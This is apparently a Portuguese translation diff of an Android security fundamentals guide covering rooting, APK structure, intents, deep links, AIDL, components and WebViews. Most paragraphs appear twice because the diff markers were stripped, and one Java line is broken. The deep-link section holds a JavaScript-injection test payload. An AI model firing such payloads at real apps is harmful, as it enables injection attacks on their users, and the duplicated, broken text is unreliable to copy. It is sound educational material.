Esses aplicativos geralmente são encontrados nos diretórios **`/system/app`** ou **`/system/priv-app`** e alguns deles são **otimizados** (você pode nem encontrar o arquivo `classes.dex`). Vale a pena verificar esses aplicativos porque às vezes eles estão **executando com muitas permissões** (como root).
Esses apps geralmente são encontrados nos diretórios **`/system/app`** ou **`/system/priv-app`** e alguns deles são **otimizados** (você pode nem encontrar o arquivo `classes.dex`). Essas aplicações valem a pena serem verificadas porque às vezes estão **executando com muitas permissões** (como root).
* Os enviados com o **AOSP** (Projeto de Código Aberto Android) **ROM**
* Adicionados pelo **fabricante do dispositivo**
* Adicionados pelo **provedor de telefonia celular** (se comprado deles)
* As que vêm com o **AOSP** (Android OpenSource Project) **ROM**
* Adicionadas pelo **fabricante** do dispositivo
* Adicionadas pelo **provedor de telefonia** (se compradas deles)
## Root
## Rooting
Para obter acesso root a um dispositivo Android físico, geralmente é necessário **explorar** 1 ou 2 **vulnerabilidades** que costumam ser **específicas** para o **dispositivo** e **versão**.\
Depois que o exploit funcionar, geralmente o binário `su` do Linux é copiado para uma localização especificada na variável de ambiente PATH do usuário, como `/system/xbin`.
Para obter acesso root em um dispositivo android físico, você geralmente precisa **explorar** 1 ou 2 **vulnerabilidades** que costumam ser **específicas** para o **dispositivo** e **versão**.\
Uma vez que a exploração tenha funcionado, geralmente o binário Linux `su` é copiado para um local especificado na variável de ambiente PATH do usuário, como `/system/xbin`.
Depois que o binário su estiver configurado, outro aplicativo Android é usado para interagir com o binário `su` e **processar solicitações de acesso root** como **Superuser** e **SuperSU** (disponível na Google Play Store).
Uma vez que o binário su está configurado, outro app Android é usado para interagir com o binário `su` e **processar solicitações de acesso root** como **Superuser** e **SuperSU** (disponível na Google Play store).
{% hint style="danger" %}
Observe que o processo de root é muito perigoso e pode danificar severamente o dispositivo
Note que o processo de rooting é muito perigoso e pode danificar severamente o dispositivo.
{% endhint %}
### ROMs
É possível **substituir o SO instalando um firmware personalizado**. Fazendo isso, é possível estender a utilidade de um dispositivo antigo, contornar restrições de software ou obter acesso ao código Android mais recente.\
É possível **substituir o SO instalando um firmware personalizado**. Fazendo isso, é possível estender a utilidade de um dispositivo antigo, contornar restrições de software ou ganhar acesso ao código Android mais recente.\
**OmniROM** e **LineageOS** são dois dos firmwares mais populares para usar.
Observe que **nem sempre é necessário fazer root no dispositivo** para instalar um firmware personalizado. **Alguns fabricantes permitem** o desbloqueio de seus carregadores de inicialização de maneira bem documentada e segura.
Note que **nem sempre é necessário fazer root no dispositivo** para instalar um firmware personalizado. **Alguns fabricantes permitem** o desbloqueio de seus bootloaders de maneira bem documentada e segura.
### Implicações
Depois que um dispositivo é rooteado, qualquer aplicativo pode solicitar acesso como root. Se um aplicativo malicioso obtiver, ele terá acesso a quase tudo e poderá danificar o telefone.
Uma vez que um dispositivo é rootado, qualquer app pode solicitar acesso como root. Se um aplicativo malicioso obtiver isso, ele terá acesso a quase tudo e poderá danificar o telefone.
## Fundamentos de Aplicações Android <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
- O formato de aplicativos Android é referido como _formato de arquivo APK_. É essencialmente um **arquivo ZIP** (renomeando a extensão do arquivo para .zip, o conteúdo pode ser extraído e visualizado).
- Conteúdo do APK (não exaustivo)
- O formato das aplicações Android é referido como _formato de arquivo APK_. É essencialmente um **arquivo ZIP** (renomeando a extensão do arquivo para .zip, o conteúdo pode ser extraído e visualizado).
- Conteúdos do APK (Não exaustivo)
- **AndroidManifest.xml**
- resources.arsc/strings.xml
- resources.arsc: contém recursos pré-compilados, como XML binário.
- res/xml/files\_paths.xml
- META-INF/
- Aqui é onde o Certificado está localizado!
- É aqui que o Certificado está localizado!
- **classes.dex**
- Contém bytecode Dalvik, representando o código Java (ou Kotlin) compilado que o aplicativo executa por padrão.
- Contém bytecode Dalvik, representando o código Java (ou Kotlin) compilado que a aplicação executa por padrão.
- lib/
- Armazena bibliotecas nativas, segregadas por arquitetura de CPU em subdiretórios.
- Abriga bibliotecas nativas, segregadas por arquitetura de CPU em subdiretórios.
- `armeabi`: código para processadores baseados em ARM
- `armeabi-v7a`: código para processadores baseados em ARMv7 e superiores
- `armeabi-v7a`: código para processadores ARMv7 e superiores
- `x86`: código para processadores X86
- `mips`: código apenas para processadores MIPS
- assets/
- Armazena arquivos diversos necessários pelo aplicativo, potencialmente incluindo bibliotecas nativas adicionais ou arquivos DEX, às vezes usados por autores de malware para ocultar código adicional.
- Armazena arquivos diversos necessários pelo app, potencialmente incluindo bibliotecas nativas adicionais ou arquivos DEX, às vezes usados por autores de malware para ocultar código adicional.
- res/
- Contém recursos que não são compilados em resources.arsc
### **Dalvik & Smali**
Na desenvolvimento Android, **Java ou Kotlin** são usados para criar aplicativos. Em vez de usar o JVM como em aplicativos desktop, o Android compila esse código em **Dalvik Executable (DEX) bytecode**. Anteriormente, a máquina virtual Dalvik lidava com esse bytecode, mas agora, o Android Runtime (ART) assume em versões mais recentes do Android.
No desenvolvimento Android, **Java ou Kotlin** é usado para criar apps. Em vez de usar a JVM como em apps de desktop, o Android compila esse código em **bytecode Executável Dalvik (DEX)**. Anteriormente, a máquina virtual Dalvik lidava com esse bytecode, mas agora, o Android Runtime (ART) assume em versões mais novas do Android.
Para engenharia reversa, **Smali** se torna crucial. É a versão legível por humanos do bytecode DEX, atuando como linguagem de montagem ao traduzir o código-fonte em instruções de bytecode. Smali e baksmali referem-se às ferramentas de montagem e desmontagem nesse contexto.
Para engenharia reversa, **Smali** se torna crucial. É a versão legível por humanos do bytecode DEX, atuando como uma linguagem de montagem ao traduzir código-fonte em instruções de bytecode. Smali e baksmali referem-se às ferramentas de montagem e desmontagem nesse contexto.
## Intenções
## Intents
Intenções são o principal meio pelo qual os aplicativos Android se comunicam entre seus componentes ou com outros aplicativos. Esses objetos de mensagem também podem transportar dados entre aplicativos ou componentes, semelhante a como as solicitações GET/POST são usadas em comunicações HTTP.
Intents são o principal meio pelo qual os apps Android se comunicam entre seus componentes ou com outros apps. Esses objetos de mensagem também podem transportar dados entre apps ou componentes, semelhante a como as solicitações GET/POST são usadas em comunicações HTTP.
Portanto, uma Intenção é basicamente uma **mensagem que é passada entre componentes**. As intenções **podem ser direcionadas** para componentes ou aplicativos específicos, **ou podem ser enviadas sem um destinatário específico**.\
Para simplificar, a Intenção pode ser usada para:
Assim, um Intent é basicamente uma **mensagem que é passada entre componentes**. Intents **podem ser direcionados** a componentes ou apps específicos, **ou podem ser enviados sem um destinatário específico**.\
Para ser simples, o Intent pode ser usado:
* Iniciar uma Activity, normalmente abrindo uma interface de usuário para um aplicativo
* Como transmissões para informar o sistema e aplicativos sobre alterações
* Para iniciar, parar e comunicar com um serviço em segundo plano
* Para iniciar uma Activity, normalmente abrindo uma interface de usuário para um app
* Como transmissões para informar o sistema e os apps sobre mudanças
* Para iniciar, parar e comunicar-se com um serviço em segundo plano
* Para acessar dados via ContentProviders
* Como callbacks para lidar com eventos
Se vulnerável, **Intenções podem ser usadas para realizar uma variedade de ataques**.
Se vulneráveis, **Intents podem ser usados para realizar uma variedade de ataques**.
### Filtro de Intenção
### Filtro de Intent
**Filtros de Intenção** definem **como uma atividade, serviço ou Receptor de Transmissão pode interagir com diferentes tipos de Intenções**. Essencialmente, eles descrevem as capacidades desses componentes, como quais ações podem executar ou os tipos de transmissões que podem processar. O local principal para declarar esses filtros é dentro do arquivo **AndroidManifest.xml**, embora para Receptores de Transmissão, codificá-los também seja uma opção.
**Filtros de Intent** definem **como uma atividade, serviço ou Broadcast Receiver pode interagir com diferentes tipos de Intents**. Essencialmente, eles descrevem as capacidades desses componentes, como quais ações podem realizar ou os tipos de transmissões que podem processar. O principal lugar para declarar esses filtros é dentro do **arquivo AndroidManifest.xml**, embora para Broadcast Receivers, codificá-los também seja uma opção.
Os Filtros de Intenção são compostos por categorias, ações e filtros de dados, com a possibilidade de incluir metadados adicionais. Essa configuração permite que os componentes lidem com Intenções específicas que correspondam aos critérios declarados.
Filtros de Intent são compostos por categorias, ações e filtros de dados, com a possibilidade de incluir metadados adicionais. Essa configuração permite que componentes lidem com Intents específicos que correspondem aos critérios declarados.
Um aspecto crítico dos componentes Android (atividades/serviços/provedores de conteúdo/receptores de transmissão) é sua visibilidade ou **status público**. Um componente é considerado público e pode interagir com outros aplicativos se for **`exportado`** com um valor de **`true`** ou se um Filtro de Intenção for declarado para ele no manifesto. No entanto, os desenvolvedores têm a opção de manter explicitamente esses componentes privados, garantindo que não interajam com outros aplicativos inadvertidamente. Isso é alcançado definindo o atributo **`exportado`** como **`false`** em suas definições de manifesto.
Um aspecto crítico dos componentes Android (atividades/serviços/provedores de conteúdo/receptores de transmissão) é sua visibilidade ou **status público**. Um componente é considerado público e pode interagir com outros apps se for **`exported`** com um valor de **`true`** ou se um Filtro de Intent for declarado para ele no manifesto. No entanto, há uma maneira para os desenvolvedores manterem esses componentes privados, garantindo que não interajam com outros apps involuntariamente. Isso é alcançado definindo o atributo **`exported`** como **`false`** em suas definições de manifesto.
Além disso, os desenvolvedores têm a opção de garantir ainda mais o acesso a esses componentes exigindo permissões específicas. O atributo **`permissão`** pode ser definido para garantir que apenas aplicativos com a permissão designada possam acessar o componente, adicionando uma camada extra de segurança e controle sobre quem pode interagir com ele.
Além disso, os desenvolvedores têm a opção de proteger ainda mais o acesso a esses componentes exigindo permissões específicas. O atributo **`permission`** pode ser definido para impor que apenas apps com a permissão designada possam acessar o componente, adicionando uma camada extra de segurança e controle sobre quem pode interagir com ele.
```java
<activity android:name=".MyActivity" android:exported="false">
<!-- Intent filters go here -->
@ -148,13 +150,13 @@ Além disso, os desenvolvedores têm a opção de garantir ainda mais o acesso a
```
### Intenções Implícitas
As intenções são criadas programaticamente usando um construtor de Intent:
Intenções são criadas programaticamente usando um construtor de Intenção:
```java
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
```
A **Ação** do intent previamente declarado é **ACTION\_SEND** e o **Extra** é um **Uri** mailto (o Extra é a informação extra que o intent está esperando).
A **Ação** da intenção declarada anteriormente é **ACTION\_SEND** e o **Extra** é um mailto **Uri** (o Extra é a informação adicional que a intenção está esperando).
Este intent deve ser declarado dentro do manifesto como no exemplo a seguir:
Esta intenção deve ser declarada dentro do manifesto como no seguinte exemplo:
```xml
<activity android:name="ShareActivity">
<intent-filter>
@ -165,46 +167,46 @@ Este intent deve ser declarado dentro do manifesto como no exemplo a seguir:
```
Um intent-filter precisa corresponder à **ação**, **dados** e **categoria** para receber uma mensagem.
O processo de "resolução de Intent" determina qual aplicativo deve receber cada mensagem. Esse processo considera o atributo de **prioridade**, que pode ser definido na declaração do **intent-filter**, e **o com a prioridade mais alta será selecionado**. Essa prioridade pode ser definida entre -1000 e 1000 e os aplicativos podem usar o valor `SYSTEM_HIGH_PRIORITY`. Se surgir um **conflito**, uma janela de "escolha" aparece para que o **usuário possa decidir**.
O processo de "resolução de Intent" determina qual aplicativo deve receber cada mensagem. Este processo considera o **atributo de prioridade**, que pode ser definido na **declaração do intent-filter**, e **o que tiver a maior prioridade será selecionado**. Essa prioridade pode ser definida entre -1000 e 1000 e os aplicativos podem usar o valor `SYSTEM_HIGH_PRIORITY`. Se surgir um **conflito**, uma janela de "escolha" aparece para que o **usuário possa decidir**.
### Intenções Explícitas
### Intents Explícitos
Uma intenção explícita especifica o nome da classe que está direcionando:
Um intent explícito especifica o nome da classe que está direcionando:
```java
Intent downloadIntent = new (this, DownloadService.class):
```
Em outras aplicações, para acessar o intent previamente declarado, você pode usar:
Em outros aplicativos, para acessar a intenção previamente declarada, você pode usar:
```java
Intent intent = new Intent();
intent.setClassName("com.other.app", "com.other.app.ServiceName");
context.startService(intent);
```
### Intenções Pendentes
### Pending Intents
Estas permitem que outras aplicações **realizem ações em nome da sua aplicação**, utilizando a identidade e permissões da sua aplicação. Ao construir uma Intenção Pendente, deve ser **especificada uma intenção e a ação a ser realizada**. Se a **intenção declarada não for Explícita** (não declara qual intenção pode chamá-la), uma **aplicação maliciosa poderá realizar a ação declarada** em nome da aplicação da vítima. Além disso, **se uma ação não for especificada**, a aplicação maliciosa poderá realizar **qualquer ação em nome da vítima**.
Esses permitem que outros aplicativos **realizem ações em nome do seu aplicativo**, usando a identidade e permissões do seu app. Ao construir um Pending Intent, deve-se **especificar um intent e a ação a ser realizada**. Se o **intent declarado não for Explícito** (não declara qual intent pode chamá-lo), um **aplicativo malicioso pode realizar a ação declarada** em nome do aplicativo vítima. Além disso, **se uma ação não for especificada**, o aplicativo malicioso poderá fazer **qualquer ação em nome da vítima**.
### Intenções de Transmissão
### Broadcast Intents
Ao contrário das intenções anteriores, que são recebidas apenas por uma aplicação, as intenções de transmissão **podem ser recebidas por várias aplicações**. No entanto, a partir da versão API 14, é **possível especificar a aplicação que deve receber** a mensagem usando Intent.setPackage.
Ao contrário dos intents anteriores, que são recebidos apenas por um app, os broadcast intents **podem ser recebidos por múltiplos apps**. No entanto, a partir da versão da API 14, é **possível especificar o app que deve receber** a mensagem usando Intent.setPackage.
Alternativamente, também é possível **especificar uma permissão ao enviar a transmissão**. A aplicação receptora precisará ter essa permissão.
Alternativamente, também é possível **especificar uma permissão ao enviar o broadcast**. O app receptor precisará ter essa permissão.
Existem **dois tipos** de Transmissões: **Normais** (assíncronas) e **Ordenadas** (síncronas). A **ordem** é baseada na **prioridade configurada dentro do receptor**. **Cada aplicação pode processar, retransmitir ou descartar a Transmissão**.
Existem **dois tipos** de Broadcasts: **Normal** (assíncrono) e **Ordenado** (síncrono). A **ordem** é baseada na **prioridade configurada dentro do elemento receptor**. **Cada app pode processar, retransmitir ou descartar o Broadcast.**
É possível **enviar** uma **transmissão** usando a função `sendBroadcast(intent, receiverPermission)` da classe `Context`.\
Também é possível usar a função **`sendBroadcast`** do **`LocalBroadCastManager`** para garantir que a **mensagem nunca saia da aplicação**. Usando isso, nem será necessário exportar um componente receptor.
É possível **enviar** um **broadcast** usando a função `sendBroadcast(intent, receiverPermission)` da classe `Context`.\
Você também pode usar a função **`sendBroadcast`** do **`LocalBroadCastManager`** que garante que a **mensagem nunca saia do app**. Usando isso, você nem precisará exportar um componente receptor.
### Transmissões Persistentes
### Sticky Broadcasts
Este tipo de Transmissões **pode ser acessado muito tempo após serem enviadas**.\
Estas foram descontinuadas no nível da API 21 e é recomendado **não utilizá-las**.\
**Elas permitem que qualquer aplicação espie os dados, mas também os modifique**.
Esse tipo de Broadcasts **pode ser acessado muito tempo depois de serem enviados**.\
Esses foram descontinuados no nível da API 21 e é recomendado **não usá-los**.\
**Eles permitem que qualquer aplicativo capture os dados, mas também os modifique.**
Se encontrar funções contendo a palavra "persistentes" como **`sendStickyBroadcast`** ou **`sendStickyBroadcastAsUser`**, **verifique o impacto e tente removê-las**.
Se você encontrar funções contendo a palavra "sticky" como **`sendStickyBroadcast`** ou **`sendStickyBroadcastAsUser`**, **verifique o impacto e tente removê-las**.
## Links Profundos / Esquemas de URL
## Deep links / URL schemes
Nas aplicações Android, os **links profundos** são usados para iniciar uma ação (Intenção) diretamente através de um URL. Isso é feito declarando um **esquema de URL específico** dentro de uma atividade. Quando um dispositivo Android tenta **acessar um URL com este esquema**, a atividade especificada dentro da aplicação é iniciada.
Em aplicativos Android, **deep links** são usados para iniciar uma ação (Intent) diretamente através de uma URL. Isso é feito declarando um **URL scheme** específico dentro de uma atividade. Quando um dispositivo Android tenta **acessar uma URL com esse esquema**, a atividade especificada dentro do aplicativo é iniciada.
O esquema deve ser declarado no arquivo **`AndroidManifest.xml`**:
```xml
@ -220,42 +222,42 @@ O esquema deve ser declarado no arquivo **`AndroidManifest.xml`**:
```
O esquema do exemplo anterior é `exampleapp://` (note também a **`categoria BROWSABLE`**)
Em seguida, no campo de dados, você pode especificar o **host** e o **path**:
Então, no campo de dados, você pode especificar o **host** e **path**:
```xml
<data android:scheme="examplescheme"
android:host="example"
/>
```
Para acessá-lo a partir de um site, é possível definir um link como:
Para acessá-lo pela web, é possível definir um link como:
```xml
<a href="examplescheme://example/something">click here</a>
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
```
Para encontrar o **código que será executado no aplicativo**, vá para a atividade chamada pelo deeplink e procure a função **`onNewIntent`**.
Para encontrar o **código que será executado no App**, vá para a atividade chamada pelo deeplink e procure a função **`onNewIntent`**.
Saiba como [chamar deep links sem usar páginas HTML](./#exploiting-schemes-deep-links).
Aprenda a [chamar deep links sem usar páginas HTML](./#exploiting-schemes-deep-links).
## AIDL - Linguagem de Definição de Interface Android
A **Linguagem de Definição de Interface Android (AIDL)** é projetada para facilitar a comunicação entre cliente e serviço em aplicativos Android por meio da **comunicação entre processos** (IPC). Como acessar diretamente a memória de outro processo não é permitido no Android, o AIDL simplifica o processo ao empacotar objetos em um formato compreendido pelo sistema operacional, facilitando assim a comunicação entre diferentes processos.
A **Linguagem de Definição de Interface Android (AIDL)** é projetada para facilitar a comunicação entre cliente e serviço em aplicativos Android por meio de **comunicação entre processos** (IPC). Como o acesso à memória de outro processo diretamente não é permitido no Android, o AIDL simplifica o processo ao marshalling de objetos em um formato compreendido pelo sistema operacional, facilitando assim a comunicação entre diferentes processos.
### Conceitos Chave
- **Serviços Vinculados**: Esses serviços utilizam AIDL para IPC, permitindo que atividades ou componentes se vinculem a um serviço, façam solicitações e recebam respostas. O método `onBind` na classe do serviço é crucial para iniciar a interação, tornando-o uma área vital para revisão de segurança em busca de vulnerabilidades.
- **Serviços Vinculados**: Esses serviços utilizam AIDL para IPC, permitindo que atividades ou componentes se vinculem a um serviço, façam solicitações e recebam respostas. O método `onBind` na classe do serviço é crítico para iniciar a interação, marcando-o como uma área vital para revisão de segurança em busca de vulnerabilidades.
- **Messenger**: Funcionando como um serviço vinculado, o Messenger facilita o IPC com foco no processamento de dados por meio do método `onBind`. É essencial inspecionar este método de perto em busca de qualquer manipulação de dados insegura ou execução de funções sensíveis.
- **Messenger**: Operando como um serviço vinculado, o Messenger facilita a IPC com foco no processamento de dados através do método `onBind`. É essencial inspecionar este método de perto para qualquer manipulação de dados insegura ou execução de funções sensíveis.
- **Binder**: Embora o uso direto da classe Binder seja menos comum devido à abstração do AIDL, é benéfico entender que o Binder atua como um driver de nível de kernel facilitando a transferência de dados entre os espaços de memória de diferentes processos. Para maior compreensão, um recurso está disponível em [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
- **Binder**: Embora o uso direto da classe Binder seja menos comum devido à abstração do AIDL, é benéfico entender que o Binder atua como um driver de nível de kernel facilitando a transferência de dados entre os espaços de memória de diferentes processos. Para uma compreensão mais aprofundada, um recurso está disponível em [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
## Componentes
Estes incluem: **Atividades, Serviços, Receptores de Transmissão e Provedores.**
Estes incluem: **Atividades, Serviços, Receptores de Broadcast e Provedores.**
### Atividade de Lançamento e outras atividades
Nos aplicativos Android, as **atividades** são como telas, mostrando diferentes partes da interface do usuário do aplicativo. Um aplicativo pode ter muitas atividades, cada uma apresentando uma tela única para o usuário.
Em aplicativos Android, **atividades** são como telas, mostrando diferentes partes da interface do usuário do aplicativo. Um aplicativo pode ter muitas atividades, cada uma apresentando uma tela única para o usuário.
A **atividade de lançamento** é a porta de entrada principal para um aplicativo, sendo lançada quando você toca no ícone do aplicativo. É definida no arquivo de manifesto do aplicativo com intenções MAIN e LAUNCHER específicas:
A **atividade de lançamento** é o principal portal para um aplicativo, lançada quando você toca no ícone do aplicativo. Ela é definida no arquivo de manifesto do aplicativo com intents específicas MAIN e LAUNCHER:
```markup
<activity android:name=".LauncherActivity">
<intent-filter>
@ -264,19 +266,19 @@ A **atividade de lançamento** é a porta de entrada principal para um aplicativ
</intent-filter>
</activity>
```
Não todos os aplicativos precisam de uma atividade de lançamento, especialmente aqueles sem uma interface de usuário, como serviços em segundo plano.
Nem todos os aplicativos precisam de uma atividade de inicialização, especialmente aqueles sem uma interface de usuário, como serviços em segundo plano.
As atividades podem ser disponibilizadas para outros aplicativos ou processos marcando-as como "exportadas" no manifesto. Essa configuração permite que outros aplicativos iniciem essa atividade:
```markdown
<service android:name=".ExampleExportedService" android:exported="true"/>
```
No entanto, acessar uma atividade de outro aplicativo nem sempre é um risco de segurança. A preocupação surge se dados sensíveis estiverem sendo compartilhados de forma inadequada, o que poderia levar a vazamentos de informações.
No entanto, acessar uma atividade de outro aplicativo nem sempre é um risco de segurança. A preocupação surge se dados sensíveis estiverem sendo compartilhados de forma inadequada, o que pode levar a vazamentos de informações.
O ciclo de vida de uma atividade **começa com o método onCreate**, configurando a interface do usuário e preparando a atividade para interação com o usuário.
### Subclasse de Aplicativo
No desenvolvimento Android, um aplicativo tem a opção de criar uma **subclasse** da classe [Application](https://developer.android.com/reference/android/app/Application), embora não seja obrigatório. Quando tal subclasse é definida, ela se torna a primeira classe a ser instanciada dentro do aplicativo. O método **`attachBaseContext`**, se implementado nesta subclasse, é executado antes do método **`onCreate`**. Essa configuração permite uma inicialização precoce antes do restante do aplicativo começar.
No desenvolvimento Android, um aplicativo tem a opção de criar uma **subclasse** da classe [Application](https://developer.android.com/reference/android/app/Application), embora não seja obrigatório. Quando tal subclasse é definida, ela se torna a primeira classe a ser instanciada dentro do aplicativo. O método **`attachBaseContext`**, se implementado nesta subclasse, é executado antes do método **`onCreate`**. Essa configuração permite uma inicialização antecipada antes que o restante da aplicação comece.
```java
public class MyApp extends Application {
@Override
@ -292,35 +294,35 @@ super.onCreate();
}
}
```
### Serviços
### Services
[Serviços](https://developer.android.com/guide/components/services) são **operadores em segundo plano** capazes de executar tarefas sem uma interface de usuário. Essas tarefas podem continuar em execução mesmo quando os usuários alternam para diferentes aplicativos, tornando os serviços cruciais para **operações de longa duração**.
[Services](https://developer.android.com/guide/components/services) são **operativos em segundo plano** capazes de executar tarefas sem uma interface de usuário. Essas tarefas podem continuar em execução mesmo quando os usuários mudam para diferentes aplicativos, tornando os serviços cruciais para **operações de longa duração**.
Os serviços são versáteis; eles podem ser iniciados de várias maneiras, sendo os **Intents** o método principal para lançá-los como ponto de entrada de um aplicativo. Uma vez que um serviço é iniciado usando o método `startService`, seu método `onStart` entra em ação e continua em execução até que o método `stopService` seja chamado explicitamente. Alternativamente, se o papel de um serviço depender de uma conexão de cliente ativa, o método `bindService` é usado para vincular o cliente ao serviço, envolvendo o método `onBind` para a passagem de dados.
Os serviços são versáteis; podem ser iniciados de várias maneiras, sendo **Intents** o método principal para lançá-los como ponto de entrada de um aplicativo. Uma vez que um serviço é iniciado usando o método `startService`, seu método `onStart` entra em ação e continua em execução até que o método `stopService` seja chamado explicitamente. Alternativamente, se o papel de um serviço depender de uma conexão de cliente ativa, o método `bindService` é usado para vincular o cliente ao serviço, ativando o método `onBind` para a passagem de dados.
Uma aplicação interessante dos serviços inclui a reprodução de música em segundo plano ou a busca de dados de rede sem prejudicar a interação do usuário com um aplicativo. Além disso, os serviços podem ser tornados acessíveis a outros processos no mesmo dispositivo por meio da **exportação**. Este não é o comportamento padrão e requer configuração explícita no arquivo Android Manifest:
Uma aplicação interessante dos serviços inclui a reprodução de música em segundo plano ou a busca de dados de rede sem prejudicar a interação do usuário com um aplicativo. Além disso, os serviços podem ser tornados acessíveis a outros processos no mesmo dispositivo através da **exportação**. Este não é o comportamento padrão e requer configuração explícita no arquivo Android Manifest:
```xml
<service android:name=".ExampleExportedService" android:exported="true"/>
```
### Receptores de Transmissão
### Broadcast Receivers
Os **receptores de transmissão** atuam como ouvintes em um sistema de mensagens, permitindo que várias aplicações respondam às mesmas mensagens do sistema. Um aplicativo pode **registrar um receptor** de **duas maneiras principais**: através do **Manifest** do aplicativo ou **dinamicamente** dentro do código do aplicativo via a API **`registerReceiver`**. No Manifest, as transmissões são filtradas com permissões, enquanto receptores registrados dinamicamente também podem especificar permissões durante o registro.
**Broadcast receivers** atuam como ouvintes em um sistema de mensagens, permitindo que múltiplos aplicativos respondam às mesmas mensagens do sistema. Um aplicativo pode **registrar um receptor** de **duas maneiras principais**: através do **Manifest** do aplicativo ou **dinamicamente** dentro do código do aplicativo via a API **`registerReceiver`**. No Manifest, as transmissões são filtradas com permissões, enquanto os receptores registrados dinamicamente também podem especificar permissões no momento do registro.
**Filtros de intenção** são cruciais em ambos os métodos de registro, determinando quais transmissões acionam o receptor. Uma vez que uma transmissão correspondente é enviada, o método **`onReceive`** do receptor é invocado, permitindo que o aplicativo reaja adequadamente, como ajustar o comportamento em resposta a um alerta de bateria fraca.
**Filtros de Intent** são cruciais em ambos os métodos de registro, determinando quais transmissões acionam o receptor. Uma vez que uma transmissão correspondente é enviada, o método **`onReceive`** do receptor é invocado, permitindo que o aplicativo reaja de acordo, como ajustando o comportamento em resposta a um alerta de bateria baixa.
As transmissões podem ser **assíncronas**, alcançando todos os receptores sem ordem, ou **síncronas**, onde os receptores recebem a transmissão com base em prioridades definidas. No entanto, é importante observar o risco de segurança potencial, pois qualquer aplicativo pode se priorizar para interceptar uma transmissão.
As transmissões podem ser **assíncronas**, alcançando todos os receptores sem ordem, ou **síncronas**, onde os receptores recebem a transmissão com base em prioridades definidas. No entanto, é importante notar o potencial risco de segurança, já que qualquer aplicativo pode priorizar a si mesmo para interceptar uma transmissão.
Para entender a funcionalidade de um receptor, procure pelo método **`onReceive`** dentro de sua classe. O código deste método pode manipular a Intent recebida, destacando a necessidade de validação de dados pelos receptores, especialmente em **Transmissões Ordenadas**, que podem modificar ou descartar a Intent.
Para entender a funcionalidade de um receptor, procure o método **`onReceive`** dentro de sua classe. O código desse método pode manipular o Intent recebido, destacando a necessidade de validação de dados pelos receptores, especialmente em **Ordered Broadcasts**, que podem modificar ou descartar o Intent.
### Provedor de Conteúdo
### Content Provider
Os **Provedores de Conteúdo** são essenciais para **compartilhar dados estruturados** entre aplicativos, enfatizando a importância de implementar **permissões** para garantir a segurança dos dados. Eles permitem que aplicativos acessem dados de várias fontes, incluindo bancos de dados, sistemas de arquivos ou a web. Permissões específicas, como **`readPermission`** e **`writePermission`**, são cruciais para controlar o acesso. Além disso, o acesso temporário pode ser concedido por meio das configurações **`grantUriPermission`** no manifesto do aplicativo, aproveitando atributos como `path`, `pathPrefix` e `pathPattern` para um controle de acesso detalhado.
**Content Providers** são essenciais para **compartilhar dados estruturados** entre aplicativos, enfatizando a importância de implementar **permissões** para garantir a segurança dos dados. Eles permitem que aplicativos acessem dados de várias fontes, incluindo bancos de dados, sistemas de arquivos ou a web. Permissões específicas, como **`readPermission`** e **`writePermission`**, são cruciais para controlar o acesso. Além disso, o acesso temporário pode ser concedido através das configurações **`grantUriPermission`** no manifest do aplicativo, aproveitando atributos como `path`, `pathPrefix` e `pathPattern` para controle de acesso detalhado.
A validação de entrada é fundamental para evitar vulnerabilidades, como injeção de SQL. Os Provedores de Conteúdo suportam operações básicas: `insert()`, `update()`, `delete()` e `query()`, facilitando a manipulação e compartilhamento de dados entre aplicativos.
A validação de entrada é fundamental para prevenir vulnerabilidades, como injeção de SQL. Content Providers suportam operações básicas: `insert()`, `update()`, `delete()` e `query()`, facilitando a manipulação e compartilhamento de dados entre aplicativos.
**FileProvider**, um Provedor de Conteúdo especializado, foca em compartilhar arquivos de forma segura. Ele é definido no manifesto do aplicativo com atributos específicos para controlar o acesso a pastas, indicadas por `android:exported` e `android:resource` apontando para configurações de pasta. É aconselhável ter cautela ao compartilhar diretórios para evitar expor dados sensíveis inadvertidamente.
**FileProvider**, um Content Provider especializado, foca em compartilhar arquivos de forma segura. Ele é definido no manifest do aplicativo com atributos específicos para controlar o acesso a pastas, denotados por `android:exported` e `android:resource` apontando para configurações de pastas. Cuidado é aconselhado ao compartilhar diretórios para evitar expor dados sensíveis inadvertidamente.
Exemplo de declaração no manifesto para FileProvider:
Exemplo de declaração de manifest para FileProvider:
```xml
<provider android:name="androidx.core.content.FileProvider"
android:authorities="com.example.myapp.fileprovider"
@ -330,19 +332,19 @@ android:exported="false">
android:resource="@xml/filepaths" />
</provider>
```
E um exemplo de especificação de pastas compartilhadas no `filepaths.xml`:
E um exemplo de especificação de pastas compartilhadas em `filepaths.xml`:
```xml
<paths>
<files-path path="images/" name="myimages" />
</paths>
```
Para mais informações, consulte:
- [Desenvolvedores Android: Provedores de Conteúdo](https://developer.android.com/guide/topics/providers/content-providers)
- [Desenvolvedores Android: FileProvider](https://developer.android.com/training/secure-file-sharing/setup-sharing)
- [Android Developers: Content Providers](https://developer.android.com/guide/topics/providers/content-providers)
- [Android Developers: FileProvider](https://developer.android.com/training/secure-file-sharing/setup-sharing)
## WebViews
WebViews são como **mini navegadores da web** dentro de aplicativos Android, extraindo conteúdo tanto da web quanto de arquivos locais. Eles enfrentam riscos semelhantes aos dos navegadores regulares, mas existem maneiras de **reduzir esses riscos** por meio de **configurações específicas**.
WebViews são como **mini navegadores da web** dentro de aplicativos Android, puxando conteúdo da web ou de arquivos locais. Eles enfrentam riscos semelhantes aos navegadores regulares, mas existem maneiras de **reduzir esses riscos** por meio de **configurações** específicas.
O Android oferece dois tipos principais de WebView:
@ -351,28 +353,28 @@ O Android oferece dois tipos principais de WebView:
Um ponto chave é que os navegadores WebView **não compartilham cookies** com o navegador principal do dispositivo.
Para carregar conteúdo, métodos como ````loadUrl````, ````loadData````, e ````loadDataWithBaseURL```` estão disponíveis. É crucial garantir que esses URLs ou arquivos sejam **seguros para uso**. As configurações de segurança podem ser gerenciadas por meio da classe ````WebSettings````. Por exemplo, desativar JavaScript com ````setJavaScriptEnabled(false)```` pode prevenir ataques XSS.
